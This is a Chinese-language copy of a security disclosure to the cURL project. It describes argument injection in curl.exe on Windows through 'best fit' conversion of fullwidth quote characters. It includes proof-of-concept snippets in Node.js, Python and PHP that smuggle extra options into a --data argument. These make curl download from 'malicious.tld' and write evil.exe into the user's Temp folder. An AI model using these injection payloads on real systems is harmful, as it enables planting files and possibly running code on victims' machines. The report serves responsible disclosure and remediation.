我是 DEVCORE 研究团队的 splitline。我们最近在 cURL 上发现了一个漏洞。我们在最新版本的 cURL(curl-8.8.0_1)中重现了这些问题,并想向您报告。请查看附件文档了解详细信息。

此通告符合我们的漏洞披露政策,该政策将在 90 天后公开披露。我们的目标是确保漏洞能够及时修补。虽然这不是一个硬性期限,但我们仍然希望您能在 2024 年 9 月 11 日之前修复此漏洞。

如果您有任何疑问,请告诉我,谢谢!

概括

我们注意到,cURL 中 Windows ANSI API 的误用可能会导致 cURL 出现意外的参数解析行为。这可能会导致curl.exe从命令行调用时出现参数注入。

受影响环境

  • 操作系统:Microsoft Windows

    • 在 Windows 10/11 上测试,也适用于大多数版本。

  • 语言(系统区域设置):

    • CP874:泰语

    • CP1250:中欧语言(例如英语、德语、波兰语)

    • CP1251:西里尔文

    • CP1252:西欧语言(例如英语、西班牙语、法语)

    • CP1253:希腊语

    • CP1254:土耳其语

    • CP1255:希伯来语

    • CP1256:阿拉伯语

    • CP1257:波罗的海

    • CP1258:越南语

    • (不影响中文、日文和韩文)

描述

首先,在 Windows 上,命令行参数以字符串形式传递,并由可执行文件本身解析。相反,在 Linux 上,参数始终以字符串数组的形式传递给可执行文件。

其次,Windows 存在一种称为“最佳匹配”编码转换的行为。当 Windows 需要在 Unicode UTF-16(WideChar)和 ANSI(MultiByte)之间转换字符时,就会发生这种情况。例如,如果 Unicode 字符(U+FF02,全角双引号)作为参数传递,但使用ANSI API 接收,则在某些系统区域设置中,它将触发“最佳匹配”行为并将此 Unicode UTF-16 字符转换为(0x22,双引号)。[1][2]"GetCommandLineA"

在我们的例子中,curl.exe使用 ANSI API 接收命令行字符串。因此,如果您将一些 Unicode 字符传递到这些可执行文件中,它将被转换为另一个字符,最终导致意外的参数解析结果。

示例/重现步骤

在开始之前,我们需要确保 Windows 系统区域设置配置为以下任何一种语言类型:中欧、西欧、希腊语、希伯来语、波罗的海语、西里尔语、阿拉伯语、土耳其语、越南语或泰语。您可以通过以下命令检查您的代码页:

powershell.exe [Console]::OutputEncoding.WindowsCodePage

如果您的计算机当前未配置该语言,请按照以下详细步骤进行配置(适用于 Windows 11):

  1. 前往“设置”>“时间和语言”>“语言和地区”

  2. 点击“管理语言设置”项(在“相关设置”部分)

  3. 在“非 Unicode 程序的语言”部分中,单击“更改系统区域设置”按钮。将系统区域设置设置为我们提到的任何语言。这里我们可以以“英语(美国)”为例。(记得重启你的机器)

  4. 使用我们提到的命令再次检查代码页:。如果您选择“英语(美国)”,则powershell.exe [Console]::OutputEncoding.WindowsCodePage应该是。1252

这里我们选择 Node.js、Python 和 PHP 作为一些示例。

后面三种情况,参数转义或参数分离可能会失败,从而导致参数注入。此外,还存在执行任意命令的可能性。为了便于说明,我们简单地通过将文件写入临时目录来进行演示。

确保将以下脚本中的malicious.tld和替换<username>为系统上的适当值。在此上下文中,malicious.tld表示由恶意行为者控制的域或网站,而<username>表示当前用户的用户名。

在 Node.js 中:

const child_process = requite('child_process');const arg = "name=meow\u{FF02} malicious.tld \u{FF02}-o-\u{FF02} \u{FF02}-o ..\..\..\..\..\..\..\..\..\\Users\\<username>\\AppData\\Local\\Temp\\evil.exe";child_process.spawnSync("curl.exe", ["https://example.com/", "--data", arg]);

在python中

import subprocessarg = "name=meow\uFF02 malicious.tld \uFF02-o-\uFF02 \uFF02-o ..\..\..\..\..\..\..\..\..\\Users\\<username>\\AppData\\Local\\Temp\\evil.exe"subprocess.run(['curl.exe', "https://example.com/", "--data", arg])

PHP

define("arg", "name=meow\u{FF02} malicious.tld \u{FF02}-o-\u{FF02} \u{FF02}-o ..\..\..\..\..\..\..\..\..\\Users\\<username>\\AppData\\Local\\Temp\\evil.exe");proc_open(['curl.exe', "https://example.com/", "--data", arg], [], $pipes);// orsystem(sprintf("curl.exe https://example.com/ --data %s", escapeshellarg(arg)));

对于上述 3 个实例,它们均在命令行中产生以下解析结果curl.exe:

在命令行中:

                                     ┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────┐curl.exe https://example.com/ --data "name=meow" malicious.tld "-o-" "-o ..\..\..\..\..\..\..\..\..\Users\<username>\AppData\Local\Temp\evil.exe"                                     ↑         ↑                ↑    ↑  ↑                                                                          ↑                                    0x22     U+FF02              U+FF02                                                                          0x22

In curl.exe

                                     ┌─────────┐ ┌────────────┐ ┌────┐ ┌───────────────────────────────────────────────────────────────────────────┐curl.exe https://example.com/ --data "name=meow" malicious.tld "-o-" "-o ..\..\..\..\..\..\..\..\..\Users\<username>\AppData\Local\Temp\evil.exe"                                     ↑         ↑                ↑    ↑  ↑                                                                          ↑                                    0x22      0x22             0x22  0x22                                                                          0x22

请注意,U+FF02 并不是唯一可以转换为双引号的字符;它只是众多示例中的一个。有关完整的转换表,我们可以参考Unicode.Org 的文档。因此,鉴于这一特性,其他编程语言要充分处理参数转义就变得极具挑战性。

建议的补救措施

  1. 避免使用ANSI Windows API来获取和解析命令行。

  2. 如果您没有明确使用 ANSI Windows API,它可能会被编译器或标准库本身使用,有几种方法可以提示编译器使用 UTF-16(WideChar)API。

    1. 使用wmain函数作为主函数:https://learn.microsoft.com/en-us/cpp/c-language/using-wmain ?view=msvc-170

    2. 编译时使用 -municode 标志:https://sourceforge.net/p/mingw-w64/wiki2/Unicode%20apps/

发现

DEVCORE 研究团队的Orange Tsai ( @orange_8361 ) 和 splitline ( @splitline )

影响

如果应用程序从命令行调用curl.exe,并且参数的任何部分都可以由用户控制,那么就会导致参数注入。

https://hackerone.com/reports/2550951

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。